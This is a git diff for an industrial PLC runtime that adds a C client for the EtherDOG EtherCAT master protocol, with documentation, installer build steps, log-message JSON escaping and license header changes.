@@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file etherdog_link.c + * @brief EtherDOG protocol client (control lines and data frames). + */ + +#include "etherdog_link.h" + +#include "cJSON.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define KIND_OUTPUTS 1 +#define KIND_INPUTS 2 +#define PROTOCOL_VERSION 1 + +/* --- little-endian field helpers ------------------------------------------------------- */ + +static void put_le(uint8_t *p, uint64_t v, int n) +{ + for (int i = 0; i < n; i++) + p[i] = (uint8_t)(v >> (8 * i)); +} + +static uint64_t get_le(const uint8_t *p, int n) +{ + uint64_t v = 0; + for (int i = n - 1; i >= 0; i--) + v = (v << 8) | p[i]; + return v; +} + +/* --- session file ---------------------------------------------------------------------- */ + +int edl_read_session(const char *path, edl_session_t *out, char *err, size_t err_size) +{ + memset(out, 0, sizeof(*out)); + FILE *fp = fopen(path, "r"); + if (fp == NULL) { + snprintf(err, err_size, "cannot open EtherDOG session file %s: %s", path, + strerror(errno)); + return -1; + } + char text[2048]; + size_t n = fread(text, 1, sizeof(text) - 1, fp); + fclose(fp); + text[n] = '\0'; + + cJSON *root = cJSON_Parse(text); + const cJSON *disabled = root ? cJSON_GetObjectItemCaseSensitive(root, "disabled") : NULL; + if (cJSON_IsString(disabled)) { + snprintf(err, err_size, "EtherCAT is disabled: %s", disabled->valuestring); + cJSON_Delete(root); + return EDL_DISABLED; + } + const cJSON *control = root ? cJSON_GetObjectItemCaseSensitive(root, "control") : NULL; + if (!cJSON_IsString(control)) { + snprintf(err, err_size, "EtherDOG session file %s has no 'control' endpoint", path); + cJSON_Delete(root); + return -1; + } + snprintf(out->control, sizeof(out->control), "%s", control->valuestring); + const cJSON *token = cJSON_GetObjectItemCaseSensitive(root, "token"); + if (cJSON_IsString(token)) + snprintf(out->token, sizeof(out->token), "%s", token->valuestring); + const cJSON *data = cJSON_GetObjectItemCaseSensitive(root, "data"); + out->udp = cJSON_IsString(data) && strcmp(data->valuestring, "udp") == 0; + const cJSON *busconfig = cJSON_GetObjectItemCaseSensitive(root, "busconfig"); + if (cJSON_IsString(busconfig) && strlen(busconfig->valuestring) < sizeof(out->busconfig)) + snprintf(out->busconfig, sizeof(out->busconfig), "%s", busconfig->valuestring); + cJSON_Delete(root); + return 0; +} + +/* --- control connection ---------------------------------------------------------------- */ + +void edl_init(edl_link_t *link) +{ + memset(link, 0, sizeof(*link)); + link->ctl_fd = -1; + link->data_fd = -1; +} + +static int connect_spec(const char *spec, char *err, size_t err_size) +{ + if (strncmp(spec, "unix:", 5) == 0) { + struct sockaddr_un addr; + memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + if (strlen(spec + 5) >= sizeof(addr.sun_path)) { + snprintf(err, err_size, "control socket path too long"); + return -1; + } + snprintf(addr.sun_path, sizeof(addr.sun_path), "%s", spec + 5); + int fd = socket(AF_UNIX, SOCK_STREAM, 0); + if (fd >= 0 && connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == 0) + return fd; + snprintf(err, err_size, "cannot reach EtherDOG at %s: %s", spec, strerror(errno)); + if (fd >= 0) + close(fd); + return -1; + } + if (strncmp(spec, "tcp:", 4) == 0) { + char host[64]; + const char *rest = spec + 4; + const char *colon = strrchr(rest, ':'); + if (colon == NULL || (size_t)(colon - rest) >= sizeof(host)) { + snprintf(err, err_size, "invalid control endpoint %s", spec); + return -1; + } + memcpy(host, rest, (size_t)(colon - rest)); + host[colon - rest] = '\0'; + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons((uint16_t)atoi(colon + 1)); + if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) { + snprintf(err, err_size, "invalid control endpoint %s", spec); + return -1; + } + int fd = socket(AF_INET, SOCK_STREAM, 0); + if (fd >= 0 && connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == 0) + return fd; + snprintf(err, err_size, "cannot reach EtherDOG at %s: %s", spec, strerror(errno)); + if (fd >= 0) + close(fd); + return -1; + } + snprintf(err, err_size, "unsupported control endpoint %s", spec); + return -1; +} + +int edl_call(edl_link_t *link, const char *request, char **response, int timeout_ms) +{ + *response = NULL; + if (link->ctl_fd < 0) + return -1; + size_t len = strlen(request); + const char *p = request; + size_t left = len; + while (left > 0) { + ssize_t n = send(link->ctl_fd, p, left, 0); + if (n < 0) { + if (errno == EINTR) + continue; + return -1; + } + p += n; + left -= (size_t)n; + } + if (send(link->ctl_fd, "\n", 1, 0) != 1) + return -1; + + for (;;) { + char *nl = link->rlen > 0 ? memchr(link->rbuf, '\n', link->rlen) : NULL; + if (nl != NULL) { + size_t line = (size_t)(nl - link->rbuf); + char *out = malloc(line + 1); + if (out == NULL) + return -1; + memcpy(out, link->rbuf, line); + out[line] = '\0'; + memmove(link->rbuf, nl + 1, link->rlen - line - 1); + link->rlen -= line + 1; + *response = out; + return 0; + } + if (link->rlen == link->rcap) { + if (link->rcap >= EDL_MAX_REPLY) + return -1; + size_t cap = link->rcap ? link->rcap * 2 : 64 * 1024; + char *grown = realloc(link->rbuf, cap); + if (grown == NULL) + return -1; + link->rbuf = grown; + link->rcap = cap; + } + struct pollfd pfd = { .fd = link->ctl_fd, .events = POLLIN }; + int rc = poll(&pfd, 1, timeout_ms); + if (rc <= 0) + return -1; + ssize_t n = recv(link->ctl_fd, link->rbuf + link->rlen, link->rcap - link->rlen, 0); + if (n <= 0) + return -1; + link->rlen += (size_t)n; + } +} + +int edl_connect(edl_link_t *link, const edl_session_t *session, char *err, size_t err_size) +{ + edl_close(link); + link->ctl_fd = connect_spec(session->control, err, err_size); + if (link->ctl_fd < 0) + return -1; + + cJSON *req = cJSON_CreateObject(); + cJSON_AddStringToObject(req, "command", "hello"); + if (session->token[0] != '\0') + cJSON_AddStringToObject(cJSON_AddObjectToObject(req, "params"), "token", session->token); + char *line = cJSON_PrintUnformatted(req); + cJSON_Delete(req); + if (line == NULL) { + snprintf(err, err_size, "out of memory"); + return -1; + } + + char *resp = NULL; + int rc = edl_call(link, line, &resp, 5000); + free(line); + if (rc != 0 || strstr(resp, "\"error\"") != NULL) { + snprintf(err, err_size, "EtherDOG refused the connection: %.300s", rc ? "no reply" : resp); + free(resp); + edl_close(link); + return -1; + } + free(resp); + return 0; +} + +/* --- data session ---------------------------------------------------------------------- */ + +static int parse_server(const char *spec, struct sockaddr_storage *out, socklen_t *len) +{ + memset(out, 0, sizeof(*out)); + if (strncmp(spec, "unix:", 5) == 0) { + struct sockaddr_un *un = (struct sockaddr_un *)out; + if (strlen(spec + 5) >= sizeof(un->sun_path)) + return -1; + un->sun_family = AF_UNIX; + snprintf(un->sun_path, sizeof(un->sun_path), "%s", spec + 5); + *len = sizeof(*un); + return 0; + } + if (strncmp(spec, "udp:", 4) == 0) { + char host[64]; + const char *rest = spec + 4; + const char *colon = strrchr(rest, ':'); + if (colon == NULL || (size_t)(colon - rest) >= sizeof(host)) + return -1; + memcpy(host, rest, (size_t)(colon - rest)); + host[colon - rest] = '\0'; + struct sockaddr_in *in = (struct sockaddr_in *)out; + in->sin_family = AF_INET; + in->sin_port = htons((uint16_t)atoi(colon + 1)); + if (inet_pton(AF_INET, host, &in->sin_addr) != 1) + return -1; + *len = sizeof(*in); + return 0; + } + return -1; +} + +int edl_open_data(edl_link_t *link, const edl_session_t *session, const char *local_dir, + char *err, size_t err_size) +{ + char endpoint[160]; + if (link->data_fd >= 0) { + close(link->data_fd); + link->data_fd = -1; + } + if (link->data_path[0] != '\0') { + unlink(link->data_path); + link->data_path[0] = '\0'; + } + + if (session->udp) { + link->data_fd = socket(AF_INET, SOCK_DGRAM, 0); + struct sockaddr_in local; + memset(&local, 0, sizeof(local)); + local.sin_family = AF_INET; + local.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + socklen_t len = sizeof(local); + if (link->data_fd < 0 || bind(link->data_fd, (struct sockaddr *)&local, sizeof(local)) != 0 || + getsockname(link->data_fd, (struct sockaddr *)&local, &len) != 0) { + snprintf(err, err_size, "cannot bind data socket: %s", strerror(errno)); + return -1; + } + snprintf(endpoint, sizeof(endpoint), "udp:127.0.0.1:%u", (unsigned)ntohs(local.sin_port)); + } else { + struct sockaddr_un local; + memset(&local, 0, sizeof(local)); + local.sun_family = AF_UNIX; + int n = snprintf(local.sun_path, sizeof(local.sun_path), "%s/ethercat-client-%ld.sock", + local_dir, (long)getpid()); + if (n < 0 || (size_t)n >= sizeof(local.sun_path)) { + snprintf(err, err_size, "data socket path too long"); + return -1; + } + unlink(local.sun_path); + link->data_fd = socket(AF_UNIX, SOCK_DGRAM, 0); + if (link->data_fd < 0 || + bind(link->data_fd, (struct sockaddr *)&local, sizeof(local)) != 0) { + snprintf(err, err_size, "cannot bind %s: %s", local.sun_path, strerror(errno)); + return -1; + } + chmod(local.sun_path, 0600); + snprintf(link->data_path, sizeof(link->data_path), "%s", local.sun_path); + snprintf(endpoint, sizeof(endpoint), "unix:%s", local.sun_path); + } + + cJSON *req = cJSON_CreateObject(); + cJSON_AddStringToObject(req, "command", "open_data"); + cJSON_AddStringToObject(cJSON_AddObjectToObject(req, "params"), "endpoint", endpoint); + char *line = cJSON_PrintUnformatted(req); + cJSON_Delete(req); + char *resp = NULL; + int rc = line ? edl_call(link, line, &resp, 5000) : -1; + free(line); + if (rc != 0) { + snprintf(err, err_size, "no reply to open_data"); + return -1; + } + + cJSON *root = cJSON_Parse(resp); + const cJSON *e = root ? cJSON_GetObjectItemCaseSensitive(root, "error") : NULL; + const cJSON *masters = root ? cJSON_GetObjectItemCaseSensitive(root, "masters") : NULL; + if (cJSON_IsString(e) || !cJSON_IsArray(masters)) { + snprintf(err, err_size, "open_data refused: %.300s", cJSON_IsString(e) ? e->valuestring : resp); + cJSON_Delete(root); + free(resp); + return -1; + } + free(resp); + memset(link->open, 0, sizeof(link->open)); + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + const cJSON *idx = cJSON_GetObjectItemCaseSensitive(m, "index"); + const cJSON *ep = cJSON_GetObjectItemCaseSensitive(m, "endpoint"); + const cJSON *ses = cJSON_GetObjectItemCaseSensitive(m, "session"); + if (!cJSON_IsNumber(idx) || !cJSON_IsString(ep) || !cJSON_IsString(ses)) + continue; + int i = idx->valueint; + if (i < 0 || i >= EDL_MAX_MASTERS || + parse_server(ep->valuestring, &link->server[i], &link->server_len[i]) != 0) + continue; + link->session[i] = strtoull(ses->valuestring, NULL, 16); + link->tx_seq[i] = 0; + link->open[i] = true; + } + cJSON_Delete(root); + return 0; +} + +int edl_recv_inputs(edl_link_t *link, uint8_t *buf, size_t buf_size, int timeout_ms, + int *master_out, uint8_t *flags_out, const uint8_t **payload_out, + size_t *len_out) +{ + if (link->data_fd < 0) + return -1; + struct pollfd pfd = { .fd = link->data_fd, .events = POLLIN }; + int rc = poll(&pfd, 1, timeout_ms); + if (rc == 0) + return 0; + if (rc < 0) + return errno == EINTR ? 0 : -1; + + ssize_t n = recv(link->data_fd, buf, buf_size, 0); + if (n < EDL_FRAME_HEADER) + return 0; + if (buf[0] != 'E' || buf[1] != 'D' || buf[2] != 'O' || buf[3] != 'G' || + buf[4] != PROTOCOL_VERSION || buf[5] != KIND_INPUTS) + return 0; + int master = buf[6]; + uint16_t len = (uint16_t)get_le(buf + 20, 2); + if (master >= EDL_MAX_MASTERS || !link->open[master] || + get_le(buf + 8, 8) != link->session[master] || (size_t)n != EDL_FRAME_HEADER + (size_t)len) + return 0; + + *master_out = master; + *flags_out = buf[7]; + *payload_out = buf + EDL_FRAME_HEADER; + *len_out = len; + return 1; +} + +int edl_send_outputs(edl_link_t *link, int master, const uint8_t *payload, size_t len, bool valid) +{ + if (link->data_fd < 0 || master < 0 || master >= EDL_MAX_MASTERS || !link->open[master] || + len > EDL_MAX_PAYLOAD) + return -1; + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + frame[0] = 'E'; + frame[1] = 'D'; + frame[2] = 'O'; + frame[3] = 'G'; + frame[4] = PROTOCOL_VERSION; + frame[5] = KIND_OUTPUTS; + frame[6] = (uint8_t)master; + frame[7] = valid ? EDL_FLAG_VALID : 0; + put_le(frame + 8, link->session[master], 8); + put_le(frame + 16, ++link->tx_seq[master], 4); + put_le(frame + 20, len, 2); + put_le(frame + 22, 0, 2); + if (len > 0) + memcpy(frame + EDL_FRAME_HEADER, payload, len); + ssize_t n = sendto(link->data_fd, frame, EDL_FRAME_HEADER + len, MSG_DONTWAIT, + (const struct sockaddr *)&link->server[master], link->server_len[master]); + return n < 0 ? -1 : 0; +} + +void edl_close(edl_link_t *link) +{ + if (link->data_fd >= 0) + close(link->data_fd); + if (link->data_path[0] != '\0') + unlink(link->data_path); + if (link->ctl_fd >= 0) + close(link->ctl_fd); + link->data_fd = -1; + link->ctl_fd = -1; + link->data_path[0] = '\0'; + free(link->rbuf); + link->rbuf = NULL; + link->rcap = 0; + link->rlen = 0; + memset(link->open, 0, sizeof(link->open)); +} diff --git a/core/src/drivers/plugins/native/ethercat/etherdog_link.h b/core/src/drivers/plugins/native/ethercat/etherdog_link.h new file mode 100644 index 00000000..2ed9ecf6 --- /dev/null +++ b/core/src/drivers/plugins/native/ethercat/etherdog_link.h @@ -0,0 +1,96 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file etherdog_link.h + * @brief Client side of the EtherDOG protocol: JSON control lines and cyclic data datagrams. + * + * The session file written by the webserver gives the control endpoint, the data transport and + * the bus configuration to load when the bus starts. + */ + +#ifndef ETHERDOG_LINK_H +#define ETHERDOG_LINK_H + +#include +#include +#include +#include + +#define EDL_MAX_MASTERS 4 +#define EDL_FRAME_HEADER 24 +#define EDL_MAX_PAYLOAD 4096 +/** Largest control reply accepted, far above any real bus (a full 4 KB image is about 13 MB). */ +#define EDL_MAX_REPLY (64u * 1024u * 1024u) + +/** Default location of the session file the webserver writes before starting plc_main. */ +#define EDL_SESSION_FILE "/run/runtime/etherdog.json" + +typedef struct { + char control[160]; /* "unix:" or "tcp:127.0.0.1:" */ + char token[160]; /* optional */ + char busconfig[512]; /* bus configuration file, "" when there is none */ + bool udp; /* data transport: loopback UDP instead of AF_UNIX */ +} edl_session_t; + +typedef struct { + int ctl_fd; + char *rbuf; /* grows with the longest reply line */ + size_t rcap; + size_t rlen; + + int data_fd; + char data_path[108]; + struct sockaddr_storage server[EDL_MAX_MASTERS]; + socklen_t server_len[EDL_MAX_MASTERS]; + uint64_t session[EDL_MAX_MASTERS]; + uint32_t tx_seq[EDL_MAX_MASTERS]; + bool open[EDL_MAX_MASTERS]; +} edl_link_t; + +/** edl_read_session: the webserver disabled EtherDOG; @p err holds the reason. */ +#define EDL_DISABLED (-2) + +/** Read the webserver's session file. Returns 0, EDL_DISABLED or -1, with @p err filled. */ +int edl_read_session(const char *path, edl_session_t *out, char *err, size_t err_size); + +void edl_init(edl_link_t *link); + +/** Connect the control socket and send "hello" (with the token, if any). */ +int edl_connect(edl_link_t *link, const edl_session_t *session, char *err, size_t err_size); + +/** + * @brief Send one request line and read one reply line of any length (up to EDL_MAX_REPLY). + * @param response set to the reply, heap-allocated; the caller frees it + * @return 0, or -1 on I/O failure, timeout or a reply over EDL_MAX_REPLY + */ +int edl_call(edl_link_t *link, const char *request, char **response, int timeout_ms); + +/** + * @brief Bind a local datagram socket and ask EtherDOG to open the data session. + * + * On success every running master listed in the reply has its endpoint and session stored. + */ +int edl_open_data(edl_link_t *link, const edl_session_t *session, const char *local_dir, + char *err, size_t err_size); + +/** + * @brief Wait for one valid input frame. + * @return 1 on a frame (outputs filled), 0 on timeout, -1 on socket error. + */ +int edl_recv_inputs(edl_link_t *link, uint8_t *buf, size_t buf_size, int timeout_ms, + int *master_out, uint8_t *flags_out, const uint8_t **payload_out, + size_t *len_out); + +/** Send one output frame to @p master. @p valid false asks EtherDOG for the safe state. */ +int edl_send_outputs(edl_link_t *link, int master, const uint8_t *payload, size_t len, + bool valid); + +/** Close the data socket (and unlink its path) and the control connection; frees buffers. */ +void edl_close(edl_link_t *link); + +/** Input frame flags. */ +#define EDL_FLAG_VALID 0x01 +#define EDL_FLAG_WKC_OK 0x02 + +#endif /* ETHERDOG_LINK_H */ diff --git a/core/src/drivers/plugins/native/ethercat/libs/soem b/core/src/drivers/plugins/native/ethercat/libs/soem deleted file mode 160000 index a7c74cea..00000000 --- a/core/src/drivers/plugins/native/ethercat/libs/soem +++ /dev/null @@ -1 +0,0 @@ -Subproject commit a7c74cea13786426929ae71e94195fa91c4b9faf diff --git a/core/src/drivers/plugins/native/s7comm/s7comm_config.c b/core/src/drivers/plugins/native/s7comm/s7comm_config.c index b23f23b4..0d717053 100644 --- a/core/src/drivers/plugins/native/s7comm/s7comm_config.c +++ b/core/src/drivers/plugins/native/s7comm/s7comm_config.c @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: MIT +// SPDX-License-Identifier: LGPL-3.0-or-later // Copyright (c) 2026 Autonomy® /** diff --git a/core/src/drivers/plugins/native/s7comm/s7comm_config.h b/core/src/drivers/plugins/native/s7comm/s7comm_config.h index f36c9f14..7c84483c 100644 --- a/core/src/drivers/plugins/native/s7comm/s7comm_config.h +++ b/core/src/drivers/plugins/native/s7comm/s7comm_config.h @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: MIT +// SPDX-License-Identifier: LGPL-3.0-or-later // Copyright (c) 2026 Autonomy® /** diff --git a/core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp b/core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp index 522a316c..c402ff8d 100644 --- a/core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp +++ b/core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: MIT +// SPDX-License-Identifier: LGPL-3.0-or-later // Copyright (c) 2026 Autonomy® /** diff --git a/core/src/drivers/plugins/native/s7comm/s7comm_plugin.h b/core/src/drivers/plugins/native/s7comm/s7comm_plugin.h index e3b197ab..805998e8 100644 --- a/core/src/drivers/plugins/native/s7comm/s7comm_plugin.h +++ b/core/src/drivers/plugins/native/s7comm/s7comm_plugin.h @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: MIT +// SPDX-License-Identifier: LGPL-3.0-or-later // Copyright (c) 2026 Autonomy® /** diff --git a/core/src/plc_app/journal_buffer.h b/core/src/plc_app/journal_buffer.h index 6fb50494..30c732e8 100644 --- a/core/src/plc_app/journal_buffer.h +++ b/core/src/plc_app/journal_buffer.h @@ -49,7 +49,7 @@ extern "C" { * triggers an emergency flush. Keep this large enough that overflow only * happens under genuine misconfiguration/overload. */ -#define JOURNAL_MAX_ENTRIES 4096 +#define JOURNAL_MAX_ENTRIES 40960 /** * @brief Buffer type enumeration for journal entries diff --git a/core/src/plc_app/utils/log.c b/core/src/plc_app/utils/log.c index c18f6175..9632eaa6 100644 --- a/core/src/plc_app/utils/log.c +++ b/core/src/plc_app/utils/log.c @@ -178,11 +178,31 @@ static void log_write(LogLevel level, const char *fmt, va_list args) va_end(args_copy); } - // Format the log message in JSON format - int n = - snprintf(log_msg, sizeof(log_msg), "{\"timestamp\":\"%ld\",\"level\":\"%s\",\"message\":\"", - (long)now, level_to_str(level)); - n += vsnprintf(log_msg + n, sizeof(log_msg) - n, fmt, args); + // Format the log message in JSON format; the message is escaped so quotes cannot break it + char text[LOG_MESSAGE_SIZE]; + vsnprintf(text, sizeof(text), fmt, args); + int head = snprintf(log_msg, sizeof(log_msg), + "{\"timestamp\":\"%ld\",\"level\":\"%s\",\"message\":\"", (long)now, + level_to_str(level)); + size_t n = head > 0 ? (size_t)head : 0; + const size_t tail = sizeof("\"}\n"); + for (const char *c = text; *c != '\0' && n + tail + 6 < sizeof(log_msg); c++) + { + unsigned char ch = (unsigned char)*c; + if (ch == '"' || ch == '\\') + { + log_msg[n++] = '\\'; + log_msg[n++] = (char)ch; + } + else if (ch < 0x20) + { + n += (size_t)snprintf(log_msg + n, sizeof(log_msg) - n, "\\u%04x", ch); + } + else + { + log_msg[n++] = (char)ch; + } + } snprintf(log_msg + n, sizeof(log_msg) - n, "\"}\n"); // Send to unix socket if connected diff --git a/docs/ETHERCAT.md b/docs/ETHERCAT.md new file mode 100644 index 00000000..c919cddd --- /dev/null +++ b/docs/ETHERCAT.md @@ -0,0 +1,76 @@ +# EtherCAT + +The EtherCAT master is [EtherDOG](https://github.com/Autonomy-Logic/EtherDOG), a separate process the webserver starts and supervises. The runtime reaches it only through its protocol (EtherDOG's `docs/PROTOCOL.md`). + +``` +Editor upload ──► webserver ──► EtherDOG ◄── wire ──► EtherCAT slaves + │ ethercat_busconfig.json ▲ + │ │ datagrams, one frame each way per bus cycle + └──► plc_main (ethercat plugin) ─┘ + ethercat_iomapping.json +``` + +## Configuration files + +The Editor (runtime v4.3.0 or newer) writes two files into the upload's `conf/` folder: + +| File | Read by | Contents | +|---|---|---| +| `ethercat_busconfig.json` | EtherDOG | Masters, slaves, PDOs, SDOs, channels, and `master.cycle_time_us` | +| `ethercat_iomapping.json` | `plc_main`'s `ethercat` plugin | `(master name, slave, index, subindex)` to IEC location | + +```json +{ + "version": 1, + "masters": [ + { + "name": "EK_BUS", + "entries": [ + { "slave": 1, "index": "0x6000", "subindex": 1, "iec_location": "%IX0.0" } + ] + } + ] +} +``` + +An upload whose single `conf/ethercat.json` (older Editors) describes masters is rejected before anything on the device changes. + +## Components + +| Piece | Where | +|---|---| +| Supervisor: start, restart, token, session file, busconfig delivery, discovery commands | `webserver/etherdog_manager.py` | +| Discovery and status routes (`/api/discovery/ethercat/*`) | `webserver/discovery/discovery_routes.py` | +| Client plugin: layout join, relay thread, reconnect | `core/src/drivers/plugins/native/ethercat/` | +| Build | `install.sh` `build_etherdog` puts the binary at `build/etherdog` | + +The webserver writes `/run/runtime/etherdog.json` (mode 0600), with the control endpoint, the per-boot token and the data transport. The plugin reads it on each connect. EtherDOG's log lines go to `log_runtime.socket`, so they show up in the runtime log with an `[ETHERDOG]` prefix. + +## Timing + +`master.cycle_time_us` from the busconfig sets the bus cycle. The relay thread in `plc_main` has no timer of its own: +1. It wakes on each input frame and publishes `%I` through the journal. +2. It reads `%Q` under `image_lock`. +3. It answers with one output frame. + +So the runtime exchanges data with EtherDOG once per bus cycle. On an SLM-RP4 with an EK1818, 1000 us and 2000 us both measured at the configured rate, on the wire and in the relay. + +## Failure behaviour + +- **EtherDOG exits:** the webserver restarts it with backoff and loads the busconfig again. The plugin notices within 1 s that a mapped master has sent no data, and reconnects without restarting `plc_main`. Meanwhile inputs keep their last values. +- **The client goes quiet for 100 ms:** EtherDOG drives the outputs to zero. +- **The mapping cannot bind to the bus:** the plugin stops the bus and the PLC, and the error names the entry. Causes: + - an entry has no matching PDO entry, or its direction or width differs; + - one process data entry, or one IEC location, is mapped twice; + - the layout lists the same entry in more than one PDO; + - a process image is larger than the 4096 bytes a data frame carries; + - EtherDOG rejects the bus configuration. + +## Building EtherDOG + +`install.sh` takes the first of these that exists: +1. `$ETHERDOG_SRC` +2. a checkout at `./etherdog` +3. a clone of `$ETHERDOG_REPO` at `$ETHERDOG_REF`, into `third_party/etherdog` + +The source stays in the install. EtherDOG needs CMake 3.28 or newer, which `install.sh` already provides. diff --git a/docs/JOURNAL_BUFFER_ARCHITECTURE.md b/docs/JOURNAL_BUFFER_ARCHITECTURE.md index 9f02af85..4cba0e3e 100644 --- a/docs/JOURNAL_BUFFER_ARCHITECTURE.md +++ b/docs/JOURNAL_BUFFER_ARCHITECTURE.md @@ -128,7 +128,7 @@ typedef enum { ### Static Journal Buffer ```c -#define JOURNAL_MAX_ENTRIES 1024 +#define JOURNAL_MAX_ENTRIES 40960 static journal_entry_t g_entries[JOURNAL_MAX_ENTRIES]; static size_t g_count = 0; @@ -441,7 +441,7 @@ Time 200ms: cycle_start - apply journal (seq 0-500) ### Throughput -- **Maximum writes per cycle**: 1024 (configurable via `JOURNAL_MAX_ENTRIES`) +- **Maximum writes per cycle**: 40960 (configurable via `JOURNAL_MAX_ENTRIES`); drain cost follows the writes actually made, not the capacity - **Emergency flush**: Handles overflow gracefully without data loss ## Implementation Phases diff --git a/install.sh b/install.sh index 37c2e2a3..1e35a545 100755 --- a/install.sh +++ b/install.sh @@ -328,27 +328,40 @@ install_deps_apk() { # For MSYS2 on Windows install_deps_msys2() { echo "Installing dependencies via pacman (MSYS2)..." - # Update package database (but don't do full system upgrade to avoid breaking frozen bundles) - pacman -Sy --noconfirm - # Install required packages # Note: python-cryptography is installed via pacman because pip cannot build # Rust-based packages on MSYS2/Cygwin. # Plugin venvs use --system-site-packages to access these pre-built packages. # bcrypt is skipped on MSYS2 - the OPC-UA plugin uses PBKDF2 fallback (Python stdlib). - pacman -S --noconfirm --needed \ - base-devel \ - gcc \ - make \ - cmake \ - pkg-config \ - python \ - python-pip \ - python-setuptools \ - python-cryptography \ - git \ - sqlite3 \ - msys2-w32api-headers \ + local pkgs=( + base-devel + gcc + make + cmake + pkg-config + python + python-pip + python-setuptools + python-cryptography + git + sqlite3 + msys2-w32api-headers msys2-w32api-runtime + ) + # pacman does not support partial upgrades (-Sy then -S): a newer package can land + # without the newer libraries it links against. Leave a complete bundle untouched, + # otherwise upgrade the whole system together with the install. + if ! pacman -T "${pkgs[@]}" >/dev/null; then + pacman -Syu --noconfirm --needed "${pkgs[@]}" + fi + # Repair an install already broken by an earlier partial upgrade + if ! cmake --version >/dev/null 2>&1; then + echo "cmake does not run, upgrading MSYS2 packages to repair it..." + pacman -Syu --noconfirm + if ! cmake --version >/dev/null 2>&1; then + echo "ERROR: cmake still does not run after upgrading MSYS2 packages" >&2 + exit 1 + fi + fi } compile_plc() { @@ -488,11 +501,6 @@ build_native_plugins() { # Create plugins output directory mkdir -p "$plugins_output_dir" - # Initialize git submodules (needed by plugins that vendor libraries like SOEM) - if [ -f "$OPENPLC_DIR/.gitmodules" ]; then - log_info "Initializing git submodules for native plugins..." - git -C "$OPENPLC_DIR" submodule update --init --recursive - fi # Find directories with CMakeLists.txt (indicates buildable plugin) local plugins_found=0 @@ -582,6 +590,51 @@ build_native_plugins() { } +# EtherDOG, the EtherCAT master service supervised by the webserver. Its source stays in the install. +ETHERDOG_REPO="${ETHERDOG_REPO:-https://github.com/Autonomy-Logic/EtherDOG.git}" +ETHERDOG_REF="${ETHERDOG_REF:-main}" + +build_etherdog() { + local src="${ETHERDOG_SRC:-}" + if [ -z "$src" ] && [ -f "$OPENPLC_DIR/etherdog/CMakeLists.txt" ]; then + src="$OPENPLC_DIR/etherdog" + fi + if [ -z "$src" ]; then + src="$OPENPLC_DIR/third_party/etherdog" + if [ -d "$src/.git" ]; then + log_info "Updating EtherDOG ($ETHERDOG_REF)..." + if ! { git -C "$src" fetch --quiet --depth 1 origin "$ETHERDOG_REF" && + git -C "$src" checkout --quiet --force FETCH_HEAD && + git -C "$src" submodule update --quiet --init --recursive --depth 1; }; then + log_warning "Could not update EtherDOG; building the existing copy." + fi + elif [ ! -f "$src/CMakeLists.txt" ]; then + log_info "Fetching EtherDOG ($ETHERDOG_REF) from $ETHERDOG_REPO..." + rm -rf "$src" + mkdir -p "$(dirname "$src")" + if ! git clone --quiet --depth 1 --branch "$ETHERDOG_REF" --recurse-submodules \ + --shallow-submodules "$ETHERDOG_REPO" "$src"; then + log_warning "Could not fetch EtherDOG; EtherCAT will be unavailable." + return 0 + fi + fi + fi + + log_info "Building EtherDOG from $src..." + local build_dir="$src/build" + if ! cmake -S "$src" -B "$build_dir" -DCMAKE_BUILD_TYPE=Release >/dev/null || + ! cmake --build "$build_dir" -j"$(nproc 2>/dev/null || echo 2)"; then + log_warning "EtherDOG build failed; EtherCAT will be unavailable." + return 0 + fi + + local exe="$build_dir/etherdog" + [ -f "$exe.exe" ] && exe="$exe.exe" + mkdir -p "$OPENPLC_DIR/build" + cp "$exe" "$OPENPLC_DIR/build/" + log_success "EtherDOG installed to $OPENPLC_DIR/build/$(basename "$exe")" +} + # Setup runtime directory (needed for both Linux and Docker) # On MSYS2, use /run/runtime which maps to the MSYS2 installation directory if is_msys2; then @@ -625,6 +678,9 @@ if compile_plc; then echo "Building native plugins..." build_native_plugins + echo "Building EtherDOG (EtherCAT master service)..." + build_etherdog + # Create installation marker (must be done before starting the service) touch "$OPENPLC_DIR/.installed" echo "Installation completed at $(date)" > "$OPENPLC_DIR/.installed" diff --git a/plugins_default.conf b/plugins_default.conf index 5fc38f47..7277e667 100644 --- a/plugins_default.conf +++ b/plugins_default.conf @@ -2,4 +2,4 @@ modbus_slave,./core/src/drivers/plugins/python/modbus_slave/simple_modbus.py,0,0 modbus_master,./core/src/drivers/plugins/python/modbus_master/modbus_master_plugin.py,0,0,./core/src/drivers/plugins/python/modbus_master/modbus_master.json,./venvs/modbus_master opcua,./core/src/drivers/plugins/python/opcua/plugin.py,0,0,./core/src/drivers/plugins/python/opcua/opcua.json,./venvs/opcua s7comm,./build/plugins/libs7comm_plugin.so,0,1,./core/src/drivers/plugins/native/s7comm/s7comm_config.json, -ethercat,./build/plugins/libethercat_plugin.so,0,1,./core/src/drivers/plugins/native/ethercat/ethercat_config.json, +ethercat,./build/plugins/libethercat_plugin.so,0,1,./build/plugins/ethercat_iomapping.json, diff --git a/project.yml b/project.yml index 464eea92..3f6eb19c 100644 --- a/project.yml +++ b/project.yml @@ -14,23 +14,11 @@ :source: - core/src/** - -:core/src/drivers/plugins/native/s7comm/** # Exclude s7comm to avoid duplicate cJSON.c - # SOEM ships per-OS osal/oshw variants; only the Linux ones are valid for tests. - # Excluding the others keeps compilation and the include resolution unambiguous. - - -:core/src/drivers/plugins/native/ethercat/libs/soem/contrib/** - - 